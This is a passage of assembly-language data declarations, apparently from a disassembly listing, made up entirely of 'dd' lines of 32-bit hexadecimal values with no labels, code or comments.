		dd 719BF6B9h, 69EA6447h, 0EC62AA8Bh, 0A878DCE7h, 1623F1BCh
		dd 3471028h, 0AC96A400h, 1779B520h, 0FFE07F15h,	273C22D7h
		dd 0AFE9363Ah, 83129120h, 4EECA29h, 0AAC6F84Bh,	6F65B880h
		dd 69A0F8DFh, 2A897E8Ah, 6C432C6h, 320C5735h, 0A921C7C6h
		dd 62BECABh, 7E59D32Ch,	1A719621h, 4EB44C34h, 723CBB19h
		dd 3F475AD6h, 13E22B2h,	5A7A5954h, 0C5D3836Ch, 0E644C96Fh
		dd 0E45BE1ECh, 0E4214DF8h, 409279D6h, 7790F6C6h, 925C09Ah
		dd 1B7262C7h, 0C48704C6h, 0C54FB67Eh, 3FDC583h,	0D51B4101h
		dd 58E5314Dh, 97B33EF4h, 0FFD2922Bh, 21D22C4h, 9708C475h
		dd 3CCF47EFh, 5260037Bh, 0B4681FC9h, 5BAF17D3h,	2CF9BAABh
		dd 0FCBC8CA3h, 3D16719Fh, 582FB559h, 1242B44Eh,	745C768Dh
		dd 875D14D1h, 0D19BBD8Eh, 0ED411493h, 0E0AA28DBh, 18FB1343h
		dd 704274A6h, 7AFA62E5h, 0F7CB842Dh, 1C36D69Fh,	70FE315Ah
		dd 0C000FA60h, 36B41D3h, 0BC981CFCh, 0EE74DD45h, 7468FA66h
		dd 4184857Fh, 881D5FCh,	0F16F20FCh, 2F37FFF9h, 16679366h
		dd 2863C5ABh, 0C952BC6Ah, 1F92E80Fh, 94A80454h,	0EB348382h
		dd 0CD611510h, 0B1B44A4Bh, 3F2D52D0h, 66F2BD0h,	31E6AA24h
		dd 0A6556A8Ch, 12497D56h, 3604AE03h, 760AF702h,	41A73D8Dh
		dd 0D4C963F5h, 0BE35F25Ch, 7B03BAD0h, 0DE2C251Ch, 109E4EF0h
		dd 6302C21Dh, 738B4EE8h, 4BB0A8CCh, 0C1AE1DE2h,	96470F9Dh
		dd 0BF8459CCh, 7DBFD25h, 4B351955h, 0A962B093h,	7164AEBFh
		dd 0BCA0BD7Eh, 10878832h, 1E707420h, 0BA458310h, 0B70E2A19h
		dd 1E4848D0h, 0C8C5EEDEh, 9894A6DBh, 0A2AB10A6h, 0B4C5EF65h
		dd 8E243BB3h, 0BB9AF197h, 32932DC0h, 147F49E9h,	0F71B06AFh
		dd 189F66CDh, 0A87B69B3h, 9F278739h, 0B1333A87h, 1EF1BC6Ch
		dd 83A5E0D1h, 0B9854961h, 8694C54Eh, 0FD14962Ch, 27BF1755h
		dd 7158720Bh, 3F5C86DCh, 9DDEB52Ch, 6DBBEB4Ch, 8F324F2h
		dd 8A368F9Dh, 0EA5E2A16h, 842949A7h, 0C3D0647h,	37792686h
		dd 1BC7AFEAh, 44A1E117h, 0C36F19CAh, 71BC6418h,	0ED473621h
		dd 728FA821h, 0CD1FA5C1h
		dd 4FF823E8h, 0C8598D98h, 58430554h, 37913B28h,	0B37D9247h
		dd 9786EC78h, 0B93327C0h, 78A1B4D1h, 0F4F310E1h, 0BEDA6480h
		dd 0AED05628h, 7032A0B0h, 0FBDBFDFFh, 0F6CB2538h, 0FC7162BEh
		dd 716C4D23h, 990D5A3h,	0D735C397h, 0CAF5B246h,	0B4457CA7h
		dd 3C85A568h, 44437CFDh, 37F2B41Fh, 0CEED01E5h,	0FC3452B8h
		dd 4CBD9C0Ch, 0E4683D37h, 0D43F6951h, 89037252h, 65979AA9h
		dd 0BF237753h, 0EA34965Ah, 39E423E3h, 86CA621h,	3D371053h
		dd 0A9D93269h, 0A4C4CF8Bh, 8ED2FDB8h, 26546318h, 2A7BC1E5h
		dd 288B18B5h, 0F4DCE5A8h, 3849AC9Ch, 0D978246Dh, 1F3CB98Ah
		dd 56267541h, 1AFCF382h, 762B702Ch, 0A68E1D59h,	41AFA4A1h
		dd 7E9AA362h, 0ED4CE200h, 57898E2Ch, 76704808h,	8CD55C1h
		dd 161D5986h, 0FF896F30h, 286D2CC7h, 959A69CBh,	1411E96Ah
		dd 0E2A1F4CEh, 98713724h, 0F97F5A1Dh, 0C354421Eh, 5A895850h
		dd 0C6CFDC5Dh, 40EB32BAh, 5712E8EFh, 3CC554ADh,	0DB524516h
		dd 25B0EAABh, 1F859D6Fh, 8FB61AF6h, 0E8AC6818h,	82CEB836h
		dd 0D2FC74BAh, 0CD4B52D0h, 0EC8E383Fh, 589F4F4Ah, 4585D8CFh
		dd 3CB39829h, 0D0A180F7h, 0DE242497h, 0BD0BA5C0h, 0C70CDE41h
		dd 0D8BA780Ch, 6491F0A7h, 3F4279CEh, 0B9B0FEB8h, 642A1B59h
		dd 1FA9254h, 53C71AAFh,	0EFEC333Ch, 496F2F0Dh, 3DB29FE3h
		dd 2F0B6D59h, 0AA531B7Dh, 92BC783Ah, 3B9AFDC1h,	0CCC607EFh
		dd 5DC681C3h, 894BBCC4h, 419E8293h, 93715EF3h, 0A15BEA32h
		dd 12A1008h, 65DC8425h,	12C05AB9h, 0A1BD9D78h, 0DCD52F63h
		dd 0E402C1FEh, 1ABBE0CAh, 25264AB0h, 72690F57h,	1420A5AEh
		dd 10FD8AC2h, 0E2516DA6h, 280F5F77h, 0EF936E48h, 0A119DBA8h
		dd 8EE364FDh, 4F4C3996h, 224A321h, 408A40A4h, 0E47DA514h
		dd 997C58D1h, 9905937Ch, 64F31A4Eh, 3628566Dh, 1E55DC27h
		dd 638AD2CBh, 0B110C88Eh, 734F9DD8h, 0DF1E9CFh,	0B93390CDh
		dd 5EA5DA97h, 0B04891D3h, 0BFDAC484h, 0E01DC309h, 5692EB8Eh
		dd 3EB63CA4h, 0D80CE39Ch, 7AF3552h, 77597DB9h, 9DF39F2Dh
		dd 9CFC51FCh, 2F8CE94h,	13EE37C7h, 0FEAF4973h, 3C67BA6Bh
		dd 8155309Bh, 4D55F5E6h, 0FC297B08h, 0A86EFFE2h, 2D48E512h
		dd 0EAF0FF66h, 10EF467Ah, 42E2F07h, 0AC08F065h,	18F1E378h
		dd 25D4DD08h, 73E47EF5h, 442B7A0h, 26A51567h, 0A1CD0B8Eh
		dd 0C34CB196h, 653419EEh, 0C15479B6h, 138004CCh, 0DF907E9Bh
		dd 0DC7B874Eh, 91826817h, 0B81ED53Fh, 0B3B2FA35h, 7B09197Ch
		dd 0E494533Dh, 0F42550h, 0E24AC8D9h, 8EAB14D9h,	7D717C9Bh
		dd 1EFEC3FAh, 5BD39F95h, 0C6620983h, 882FE10Ah,	92BA3B73h
		dd 0F4D88F1Dh, 0B43D9A88h, 0BC3102BAh, 0EC44865Fh, 0B638B6DFh
		dd 7B5D2D11h, 8AE43506h, 0D69ED14Ch, 0FA085534h, 3E574Dh
		dd 98874A36h, 2503C647h, 9411D4C9h, 2678ED28h, 347F6759h
		dd 69B3284Ch, 0DB02553Bh, 0BFA8D79Ah, 568ED582h, 2187F335h
		dd 0CDF65783h, 28746AD6h, 537B3001h, 0DA32868Bh, 5CCDE318h
		dd 29E53C8Fh, 0EA4B6C4Bh, 0E806A861h, 387405A3h, 57AC9351h
		dd 778D58AAh, 0A3028ECBh, 1621A4B9h, 83C63F1Dh,	377515A8h
		dd 8A26A203h, 81CBB07Ah, 5F60BF6Ah, 9946A1D0h, 44786D30h
		dd 72BD20B9h, 9587D0C5h, 3EF392BDh, 0B2DCAEB2h,	4CF4C908h
		dd 9A0CE354h, 726FFF57h, 0CA14329Dh, 811ECCE6h,	479A9593h
		dd 25A0A209h, 1C58CEFEh, 4D1662D6h, 0B02F51D0h,	0D56F1831h
		dd 81017D7Ch, 0C04DC4F2h, 0B493350h, 627A9AA3h,	0F0C717AFh
		dd 99355CAEh, 51E085B7h, 5776275Fh, 5A65FA78h, 731D3F87h
		dd 0FAB45C7Ah, 520E421Ah, 0F7B0CFE9h, 0D56FE0D8h, 6CB8B525h
		dd 0EDC9B94h, 5581B9C8h, 0FF144AB6h, 7BC1EEB2h,	48D219DCh
		dd 0B07CD7Eh, 68984F3Ch, 447F4AFAh, 0E2FEDF0Dh,	49777070h
		dd 9D382AFh, 0B8EA822Eh, 0A9652145h, 0A6A692B0h, 2D38E9D3h
		dd 0E858A77Bh, 0E2B27546h, 79931CC0h, 0C2371A1Fh, 0D8F7744Ah
		dd 77EE3AC4h, 5DE8273Ch, 0CA434134h, 0E788B13h,	9D5F021Ah
		dd 0AB0CF3FFh, 0A5802920h, 0E26A57F7h, 94DEADAh, 0C0BA1CEEh
		dd 0CF649EC5h, 9260D9F5h, 2B39AA2Ch, 1F0A3313h,	0B9FCECBAh
		dd 0AD75850Eh, 15E1F334h, 0C70F81E7h, 348E1817h, 22E95EA1h
		dd 0F3857F80h, 49275DD9h, 0A3FC4D11h, 0B20DBB10h, 450EF8F2h
		dd 56EE349Ch, 5A058AC6h, 187311FDh, 0C4F96872h,	0DE5D620Dh
		dd 5A75DC2Fh, 74955C0Eh, 0AA308EEDh, 6BC72F56h,	0F6DBD01Bh
		dd 3FB94433h, 0AA965250h, 0F4DDC096h, 0F0442E46h, 0DEC8459Ah
		dd 7ACEDF19h, 98DB769Ah, 709EFBF7h, 0A8E32652h,	12852716h
		dd 6021DD8Eh, 56499B37h, 94E04D84h, 205350F7h, 0B90C2472h
		dd 79729FCCh, 2D331D36h, 649FF4EDh, 0DB08A6Dh, 91382182h
		dd 0C5912E9Bh, 8974DE5Ah, 0DA18CCBDh, 0EFFCA7C4h, 12E8B94Fh
		dd 247C6EDCh, 95402ED0h, 4D2AC300h, 53239617h, 0FEF1D051h
		dd 7A61055Fh, 0DACF22A3h, 8B317E08h, 95A5F922h,	0CD2710E8h
		dd 95D2EC0Dh, 78E94B42h, 0E925482Ah, 6A9C2101h,	0F9B73A37h
		dd 0D90B7D6Eh, 0BF5A2B1Fh, 39AFF696h, 894185CFh, 0B8D5FC80h
		dd 3F1CD0CBh, 0F02D3D53h, 0BFC7F2AFh, 87AB13EDh, 61611790h
		dd 0D73C663Dh, 60A931A0h, 0D0FC2CFh, 24CBB141h,	7C25F8ABh
		dd 0CF110D7h, 2D477640h, 405D31FCh, 0FB6C6F63h,	0B6104276h
		dd 92768576h, 949B02A7h, 8FBD429Ah, 525AC201h, 7B1076CAh
		dd 0EC4777D9h, 66313109h, 0E69DEA19h, 83FD814Ch, 2B9FDE5Bh
		dd 0FA797E67h, 0C42C3F88h, 5BD25FFEh, 0C5C60F48h, 91FF1936h
		dd 7DE79FC9h, 0B51EB6D5h, 0E89DFC47h, 6174A563h, 0B383F162h
		dd 42B179E0h, 0A9444F6Bh, 0F2367C76h, 624BF593h, 73E64F49h
		dd 76683637h, 3B98C897h, 5D04E0FFh, 319B83D8h, 179C9B71h
		dd 0A0481442h, 47093E8Dh, 1A2D1B8Dh, 6F5BF5E8h,	39D037C0h
		dd 88F6176Dh, 0AF7CC086h, 7B320910h, 7D88B59Dh,	0AE7AC9A5h
		dd 0D962D66h, 671ADB16h, 9862C444h, 65ED0673h, 0E25CBBFAh
		dd 0DDE6DC5Bh, 0C34F9105h, 0A24E4EA4h, 0CEC91E88h, 120C2104h
		dd 941453BFh, 5522D126h, 0F211BE43h, 0FE06384h,	0E97099ADh
		dd 0EBFC726Bh, 0EF271454h, 4C009460h, 0C79E95B3h, 0E723EC16h
		dd 0CDF32191h, 0CB68248h, 18C288F2h, 511B225Dh,	86CE4B19h
		dd 0A29B810Fh, 720864B6h, 5C71CECDh, 0B9F51543h, 0B501D3D4h
		dd 658F498Dh, 30E7DAh, 31FE7C73h, 6E8605EBh, 0A2845D08h
		dd 0C8BAB148h, 889FAEAAh, 0D3893BEh, 42CB99DBh,	9A959ED2h
		dd 6FA6485Fh, 7FDB927Bh, 0DB93BC54h, 0E9C3947Dh, 0CB2BD1E7h
		dd 4C2FBB7Ah, 11F58528h, 64AB5085h, 0F94BA57h, 0CB48B7E0h
		dd 885E5C60h, 330BFB96h, 3166A3ACh, 5BCAEF93h, 8AADFFBCh
		dd 0D87E749h, 4BD87A43h, 0E4EE9E3Fh, 0DA6B8115h, 95C0A390h
		dd 0B60E4465h, 4C1464ADh, 9B15188h, 6D06B276h, 2833DF1Fh
		dd 0F7330759h, 613E97C8h, 0D0F0993Ch, 0A660A8B4h, 0D6515936h
		dd 9093523Ah, 0A7EA05F2h, 0C7C818CFh, 56F624D3h, 20E89ED4h
		dd 9BEB48B0h, 0FB7F790Fh, 0EFC471C0h, 0EB292221h, 0DDA7496Ah
		dd 0D6779B1Fh, 0D84002C1h, 4B9E68CFh, 0B61EADA8h, 0A0A9FA1h
		dd 0D9E9E907h, 9E7CCB62h, 0EB3A1F42h, 9F4182C9h, 0C3FFBB0Ch
		dd 0F4B4785Ch, 259C171Ch, 9958FD59h, 0ABEA0275h, 3424311Fh
		dd 5C089080h, 0FE68048Fh, 5DB87E3Eh, 45A5037Ah,	0FC8975DBh
		dd 0B82DE2h, 0A2339F49h
		dd 2663E0BFh, 450CB863h, 1C776A47h, 914CDC35h, 0D351B954h
		dd 0A7B767A0h, 0C40B5A59h, 982D9B97h, 2207C983h, 0C55B6888h
		dd 59DF3402h, 834A70F8h, 800A7086h, 16CD5692h, 0E8B40B3Eh
		dd 0BE0BEFE4h, 88ACF6C2h, 6986252Bh, 0C987C019h, 0CF6FE9B6h
		dd 0E3E59EE9h, 0EE380CAEh, 84CC979h, 1587829Dh,	64D5C57Fh
		dd 4FF7D795h, 50D821E3h, 0DCF33F44h, 0D87712E7h, 7F823137h
		dd 0D11C043Ah, 0DA80C62Ch, 292EDAA9h, 45BF3D35h, 3959E3C4h
		dd 0B9B9FB63h, 60B3C481h, 61504031h, 33EA042Eh,	0CBD1FFACh
		dd 9F88DC4h, 4418C5A5h,	0DF7234C2h, 7E8065FEh, 0A42CE98Ah
		dd 0C03E4AEBh, 852F1779h, 27AE8E94h, 0F3C0385Fh, 0A2544ECEh
		dd 0B7251696h, 0A85AC717h, 36AB78A6h, 291F314Ah, 4716DCAFh
		dd 871B1F0h, 0FC5FE75Dh, 0E36BA7D8h, 31084B2h, 9A35A388h
		dd 0AC884199h, 11165199h, 8BB10C72h, 0B0CB7E66h, 0D627E099h
		dd 178ECB45h, 0BDC6C041h, 22DEA37Ch, 894F2F4h, 2CD50731h
		dd 5FFF25EBh, 0AE52E709h, 0C0408440h, 543370E6h, 0DAF413D4h
		dd 0C3988553h, 49F9FB62h, 0E0FC8A30h, 723ADA7Fh, 95C0FC11h
		dd 0D25B31F7h, 5A38E2E6h, 9341DF37h, 0C7916E7Fh, 0C8AEBF2Ah
		dd 743492F8h, 0F099EF20h, 4F998F59h, 4E734E5Fh,	82EE1B1Dh
		dd 67483936h, 1625D3B7h, 6E78295Dh, 4CC1E1Ch, 71CB8D96h
		dd 0D9D72D84h, 66AE35C2h, 0FA591A8Ch, 7837CD04h, 0F2C163EAh
		dd 0CCC22606h, 5781D0C5h, 0EA9049Dh, 5CD1DDD6h,	36A6FE4Fh
		dd 1634822Ch, 270DB64Fh, 54A0BFFDh, 0D4C942D2h,	265568DDh
		dd 52BF73h, 580516B4h, 0DA8B47ACh, 3E90F22Eh, 587C934Dh
		dd 0B5B0DE62h, 0BD7EEABAh, 902BF438h, 3C68996Ah, 3EB20D7h
		dd 6ADF2207h, 1538D41Bh, 2085B955h, 5747AC72h, 0BD705E79h
		dd 3CA58A83h, 332DF196h, 8A81DFF9h, 0AFA5ADE1h,	95A829E3h
		dd 0AA836291h, 5C3A3371h, 5A7B0334h, 0F0D234ECh, 70E09CAEh
		dd 469BC115h, 0EB98FE03h, 0FD8ED989h, 4655166h,	46C8D863h
		dd 0F6C6BBAEh, 0E8CF3864h, 2D87EFE0h, 366D4DAEh, 9413C446h
		dd 5F22C07h, 949570DAh,	0D0F77F60h, 0D6DB910Fh,	0ECDFF249h
		dd 2E4D5424h, 9755904Eh, 8D17900Dh, 0C1BEC08Dh,	0A785E9EDh
		dd 0D4BA5DBh, 5CE8ECF8h, 8D8B105Fh, 210DEA5Ah, 0FD1583B6h
		dd 8AEB7300h, 8A539596h, 33A556D2h, 9EC60F94h, 1CFDE7A5h
		dd 0FE2848D0h, 38E3CFA2h, 0DCDDC836h, 2F4BA391h, 0FDEFABB4h
		dd 0A818D811h, 7203C4D3h, 0E5959DCCh, 6821D90Dh, 0FCB0546Ch
		dd 55F3421Dh, 1D0F332Ch, 0B2C5594Ah, 0B64CF353h, 46900C5Dh
		dd 4BBD5653h, 4EE32EAEh, 0D22CFD76h, 0A67857B3h, 8172A645h
		dd 0F906586Bh, 36D86054h, 41418FF0h, 0F4AB1C4Ch, 815DED9h
		dd 0C60A3D3Dh, 0AE0BC38h, 0C3A82736h, 77F7CD5Dh, 4B2F4639h
		dd 0A9A96892h, 6E595B6Bh, 6BB52DB4h, 72E9BEABh,	8D46A467h
		dd 6B4E190Bh, 6A35E046h, 0B4120871h, 0B7A2CDBDh, 699E8D0Eh
		dd 7660A654h, 0BC41B003h, 5D9E70ABh, 0DC28FDD3h, 448F0D0Eh
		dd 184ECE51h, 45A86838h, 0A66F74Fh, 0D7636B37h,	1F7C08DCh
		dd 323A4B57h, 714931B9h, 0E1C861D7h, 0F166A280h, 9B478795h
		dd 287B8CDAh, 4113AB80h, 82535969h, 0A640CD20h,	1561CBDBh
		dd 2399D5D2h, 0AB96EF5Dh, 85358F6Bh, 621DD866h,	7C10425Ch
		dd 7E2B5F82h, 24EB78D9h, 35C23E5Ch, 5F2399A5h, 3645394Eh
		dd 0F3E5F744h, 0FBABC740h, 0EA180407h, 0E011E911h, 550849AFh
		dd 1126D508h, 32BF33B0h, 7CACD743h, 482B406Ah, 607879D4h
		dd 3A243861h, 3FC904Ah,	1FD0CF8Bh, 0E7989D22h, 63B80F76h
		dd 0D398CCB4h, 79E2B2Fh, 0DA10DF8Eh, 0A5591F55h, 9C006580h
		dd 0DDBEB95Ch, 0DD33F1A8h, 80D4968Bh, 0F6430C21h, 0F3B140B2h
		dd 452318F5h, 2B8366F4h, 23E7BB34h, 0FA55E31Dh,	0EACE998Dh
		dd 4B34E602h, 6BF65133h, 493CF4EAh, 2C9A505Fh, 0B447B589h
		dd 16AB127Bh, 6B2CB9F6h, 8FB0555Fh, 0F7950CD1h,	0BF175C9Fh
		dd 89E96A86h, 5930725Bh, 0A8E4BEC5h, 42000D3Eh,	481BDB09h
		dd 30917C40h, 3F44A415h, 7B333120h, 91C76F59h, 19EF8F2Eh
		dd 691E2FD6h, 3CDFED76h, 0EC818A3h, 0BDE11F0Eh,	0A85E9DCBh
		dd 24CD109h, 0DEEF18B2h, 9EE35B9h, 4BE754C2h, 0F9E86567h
		dd 0D9E93672h, 7169CBAEh, 7E9B3436h, 4704406h, 88933868h
		dd 0A524CF6h, 9D350475h, 326DBE4Bh, 7358ACEh, 87E4905Bh
		dd 7F3DA875h, 0A5BE5FBCh, 0B4F415A4h, 22C2751Fh, 5BC09E92h
		dd 2E3594C7h, 0FC35D5D0h, 26A743F7h, 4DA121Bh, 3FC39538h
		dd 0EA4FED67h, 59F0327Fh, 0B3AA3563h, 1FBEB73Bh, 99191343h
		dd 5226FBD9h, 0D82358D7h, 1DDDD0FDh, 0FD7808C2h, 550F6E9Ch
		dd 0AE65EC97h, 8C7CC081h, 3051B2Bh, 0D15B61CCh,	9026D18Eh
		dd 0B3851EAAh, 0E95F6151h, 36725150h, 9A54D236h, 542141FDh
		dd 15D88509h, 54C5E832h, 3F5B2797h, 1528EDC2h, 5744BFD4h
		dd 0AA6083F5h, 57476169h, 0B9330199h, 6190F13h,	33A95AEAh
		dd 0B404837Ch, 21F29610h, 39AFF9C0h, 1DF377E5h,	0FB101465h
		dd 0EFFAF948h, 60AE4F9Bh, 0D69F583h, 1E87759h, 0EA1253C5h
		dd 0F438F623h, 77FE65CBh, 35B27FA1h, 66970FEAh,	55D7B3CAh
		dd 2009D582h, 0D0313AF6h, 6667D896h, 987DC3DEh,	0F9599797h
		dd 0DCD32537h, 0D318B2F4h, 497B1188h, 9068DC3Dh, 4FAEDE2Fh
		dd 99FD3408h, 8C0769FBh, 669F6C0h, 94400347h, 85195AE9h
		dd 0DADC7870h, 0E903F84Bh, 18101E59h, 59E8B4D4h, 8149F3B7h
		dd 2C75883Fh, 53F40F23h, 3C12461Bh, 4893E5EAh, 68D3181Ch
		dd 5CE7FB97h, 138C7D13h, 7CE076F9h, 0E4C58C5h, 29D78E8Ah
		dd 8952443Fh, 0ABA9B53Dh, 0D7594929h, 84FAC16h,	4AE67AB5h
		dd 73BA7903h, 1A72E7C5h, 0F9A2F50Bh, 771B53E8h,	6B9963D9h
		dd 0E6CF3B33h, 0C016824Bh, 455E734Dh, 612AE08Ch, 63416240h
		dd 4B44852Ch, 0C668285Ah, 1152395Ch, 632BCDB9h,	8CB158ACh
		dd 0FD3485D2h, 0FC2A9FC8h, 5325EB0Ah, 1D7D7FBEh, 0DE175944h
		dd 6BBD6D28h, 48A4F4h, 0F633D9ECh, 0B630265Dh, 0FA1C05D0h
		dd 44CD76Bh, 3D9D93F7h,	0C7ACF8E1h, 750A7877h, 67BC7588h
		dd 0AA839110h, 40EBA251h, 391E729Dh, 864DD1B0h,	7863C818h
		dd 39139AE0h, 38E41871h, 561A1671h, 0FD0AA4E8h,	30536D3h
		dd 0C1B048F3h, 77040843h, 88E3F31Ah, 68A57h, 675D8670h
		dd 4F784048h, 2F403E14h, 0F3F60987h, 76728CD5h,	18EADDE9h
		dd 6C8C5615h, 9978D6F8h, 25C14E42h, 3BD601C2h, 5066FE9Dh
		dd 0C2FBD40Bh, 99F412Fh, 0F40F4673h, 4E165185h,	0EE970559h
		dd 1D7D91BDh, 4429DA31h, 5E5B5BC6h, 592C37DBh, 12F74605h
		dd 0C6F37874h, 0A0495047h, 0A8135F3Fh, 544FB7F2h, 609F39E5h
		dd 53FFD616h, 0ED04C26Bh, 661839DFh, 0FD613FD3h, 407F6E6Eh
		dd 0F5D1A4E3h, 1FD70ACDh, 0DBB14D9Bh, 0D52F6B15h, 2BB1F1E8h
		dd 0FEA391B5h, 3BC632B0h, 4F84575Dh, 431E173Fh,	0CE22DBCCh
		dd 4F498BEBh, 807363CBh, 230DB73Bh, 9B6DBAD5h, 1FB2680Ch
		dd 1F7045EBh, 0A4AB4F6Eh, 90CBB7E2h, 4C5431A7h,	1A56E9D1h
		dd 56742D27h, 0BE964709h, 11C15693h, 64C1E27Fh,	64FFB1D1h
		dd 0E94B386Bh, 25EF9E8Bh, 1EFA3C5Bh, 5F31D069h,	8F1D1B82h
		dd 672BB091h, 99535C9Eh, 1430D23Bh, 0FBAED2Ah, 0AD0C5AFFh
		dd 0C5468F53h, 55F116C4h, 0B89F42D8h, 2DFEF658h, 49082F7Dh
		dd 9974F38h, 0A3CA59EDh
		dd 0EFA598Bh, 530CF7DCh, 924A15B0h, 1438E1F8h, 84765ABEh
		dd 7204F5FCh, 5777F4DEh, 3EFD9D39h, 7908A755h, 0E942E577h
		dd 9C752BD4h, 0F04154C0h, 5EC602F3h, 58401DA8h,	0B9E521E4h
		dd 57519752h, 9437D0D6h, 0FAA4857Fh, 74A5E4BDh,	0BF66C4Dh
		dd 5B1C7116h, 6836B5B4h, 34C10051h, 0D390859Ah,	287B923Ah
		dd 318FD617h, 0AD6770EAh, 76697C8Fh, 1D2CB195h,	50E9AAF1h
		dd 498F1C0Ch, 5DA91350h, 0C42A696Fh, 0A8191D59h, 0FB635108h
		dd 131E063Ah, 4F9B61BEh, 0B54C38DEh, 5F621249h,	3B157ADCh
		dd 473F085Ah, 26D87522h, 9577789h, 0EA5FF584h, 0C1494D27h
		dd 0E811943Eh, 72544B9Bh, 19C4299Fh, 0BDC5149h,	0D6DD929Ah
		dd 9BCFBAF2h, 0AD430B8Eh, 0F598469Bh, 0C23CDB8Bh, 1C45BBA4h
		dd 687304E6h, 8919E1A3h, 7189C8DCh, 0D9F334A4h,	40F885Dh
		dd 9FCADB58h, 49F6C95Bh, 773CDE40h, 0D459721h, 0C5ABF2FBh
		dd 0CD8ED02Ch, 599E828h, 45A3BD1Ch, 93C75463h, 44D876D1h
		dd 9D34E8E2h, 576DFDDDh, 9BFA1C8Eh, 19B1E13Ch, 0F0F0322Eh
		dd 0E36B8E91h, 106FAC8h, 6C0872C9h, 27039A4Bh, 0B280F62Dh
		dd 0EE4AADE4h, 0B8D51479h, 69B6EB9Fh, 6FC5A5EFh, 3BE181h
		dd 29A8A165h, 6B4069A8h, 0FAE6427Ch, 0B9D10DA6h, 453D482Ah
		dd 0AF552E52h, 5D52D31Bh, 1A54617Ch, 89559F72h,	0FE2F88FDh
		dd 83D053F0h, 86954BA3h, 0B1E5FA30h, 0F4FF96E9h, 0EC3C0BF0h
		dd 48D99156h, 12178286h, 0D19A55A0h, 90D7B193h,	5885F3Dh
		dd 496F0EEBh, 5A4FEDC7h, 1BEB3B0Fh, 47375A72h, 0B9A386D6h
		dd 0A037E01Dh, 9E235677h, 52341549h, 0DEB2616Eh, 0CCBB1EBEh
		dd 4058F7B4h, 0AF14A947h, 9A0D2064h, 0AC1DF789h, 0A2CC308Fh
		dd 86E869BEh, 95BE95C9h, 8A406B88h, 84D8B15Fh, 86BA4CB8h
		dd 0E6D4A0CCh, 69763FA9h, 0CCF55CB6h, 7C63CB3Ah, 4C694D1Fh
		dd 9D8738F0h, 0A1265A47h, 5AF45755h, 8D56448h, 98CE4F0Bh
		dd 62DCBEA4h, 0D7B97661h, 21284A38h, 31C3EEA1h,	22FC421Dh
		dd 60D1075Dh, 1672C0C2h, 6D5F5A1Ch, 4B3B04B5h, 446A251Ch
		dd 128E906Ah, 0A1D7ECE0h, 51BBF500h, 1573655Eh,	6A1AC4D2h
		dd 1658FA8Ch, 0D21F2274h, 44777175h, 78A0C3AAh,	0DBE82E7Dh
		dd 0C5586189h, 0DBCE3757h, 9102BC8Ch, 0A955B318h, 0F5A5C030h
		dd 23D97E92h, 2C0497CCh, 10B466A9h, 0CCFEDA69h,	0DDB4BD52h
		dd 0C36A8E61h, 3868AB78h, 8F9B291Dh, 2D2D2C86h,	0D82F60Dh
		dd 0B36034E9h, 0F8F4C52Eh, 7815E055h, 217287DBh, 73465445h
		dd 0BF8DE351h, 5757C9F7h, 9E7E7D9Fh, 6ECFFFB2h,	27C701C4h
		dd 325E133Ah, 68B9CE58h, 84A8F5FDh, 81D3911Bh, 0CA451002h
		dd 3F7E4283h, 0CB6C7F7Fh, 0B0257FB6h, 52861D1Dh, 0F648A1D3h
		dd 6886ED8Bh, 0A92F013h, 0F9BC2DCCh, 990E14B1h,	95A63BCCh
		dd 5B9C41h, 7B54F79Dh, 640A8A60h, 0E22715C3h, 4B36DDC1h
		dd 2167C908h, 97C19407h, 0C3461268h, 1C33B245h,	5D371DC0h
		dd 2CF6FDE2h, 3323E6Fh,	0B350C025h, 0ADDE1F0Eh,	13F9F9CDh
		dd 3429FAB7h, 9DB725E9h, 98F1DD18h, 3DB1D96Dh, 7B0B80F9h
		dd 8D670E63h, 0AC5D7600h, 277D1414h, 0BFB5BF79h, 0ABB5F588h
		dd 0FDFD912h, 946B9BEEh, 1213B27Dh, 29E24575h, 9A959276h
		dd 0A26DD0Ah, 3903E172h, 5052D9C0h, 0C2CD101Bh,	8A9E3810h
		dd 105E1259h, 450F4775h, 11D21452h, 0A1942733h,	9AA70B56h
		dd 6ECFF09Ah, 0A84CDEC9h, 0D9DEFE7Fh, 27A64349h, 0A0BAAF40h
		dd 0CF38445Ah, 5FB2A630h, 0DEC949A4h, 69CE92DAh, 8AB2D390h
		dd 69C0F7ACh, 0F458A2DAh, 0FEF9A490h, 8AB777B2h, 0F76C27C3h
		dd 0AF512B9Fh, 4061C192h, 138F1B50h, 1659BDCh, 9E07B8BDh
		dd 346F7210h, 4EFDB66Ch, 0D8CEE7C9h, 0B560446Bh, 2DCCEBE8h
		dd 0C7B9E553h, 4DA2CEF6h, 0C1E26E6Ah, 333409ABh, 8B723025h
		dd 738C92E7h, 0B8EFEEE2h, 4D12719Eh, 1BCBF223h,	0ACBA1D76h
		dd 18748D7Ch, 495BF340h, 0D42D0BEEh, 0D1237CA8h, 0C04A3F69h
		dd 0BE09C343h, 1827DD3Ch, 7D183E18h, 0D05F15DBh, 0FCFF5214h
		dd 7031AE4Fh, 71D711C0h, 5DBA711Ch, 772E9D4Fh, 0F8F5534Ch
		dd 47B85123h, 1E4D02A9h, 8563241Ah, 427914B3h, 7FF70484h
		dd 51C2A47h, 0A8FE4424h, 79A892DBh, 0DA8750B4h,	4597B9BFh
		dd 0F6EEB7BBh, 95BAB015h, 26F220Bh, 457DD918h, 2A14254Dh
		dd 6661A515h, 9217142Ah, 6C4D04C4h, 0C2D69F2Dh,	6D69D90h
		dd 0EF012F12h, 24C5ACEDh, 0E039C7Bh, 0BACFA1D4h, 0D831236Dh
		dd 0FD837DF3h, 0F49E708h, 5E657EFDh, 0D52AB930h, 18A65143h
		dd 0EDEF46EAh, 813F9B0Eh, 0E4097306h, 0AB00A0BBh, 0F3A3D463h
		dd 0A904CE26h, 0C071C8D4h, 9D5CDD3Ah, 39AA63C8h, 18FB8AA9h
		dd 0F60A3EA1h, 0A2360CAEh, 0EFD9ED2Ch, 0FB98EF8Ch, 0C4E8A62Fh
		dd 0A87F5965h, 27C0FD29h, 829A43CDh, 0D993D0EDh, 99B3F224h
		dd 0DC40C451h, 9A3218BEh, 26E51430h, 93CA9FBFh,	0FC6DE87Ah
		dd 0C67D8269h, 0E91BAE97h, 0ECD27D50h, 0D4A68633h, 6C244D31h
		dd 0EA684E7Eh, 0EEB27058h, 0C91E79DCh, 17982DEAh, 0B5ECF895h
		dd 0CD8C44E1h, 0BF0EAC49h, 2286CACCh, 0B4C784CEh, 930F0776h
		dd 0FF9BE025h, 4CF1B032h, 0AD73789Bh, 0F272F2Dh, 5C06984h
